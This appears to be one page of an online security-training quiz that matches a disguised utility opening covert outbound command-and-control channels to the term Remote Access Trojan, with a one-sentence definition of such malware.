Match disguised utility establishing external C2 tunnels to Remote Access Trojan (RAT).
RATs provide full operational control to attackers via covert outbound channels while pretending to be harmless applications.

Key Concept

Malware Classifications and Telemetry Artifacts
Estimated Time:1m 30s
PreviousPage 10 / 25Next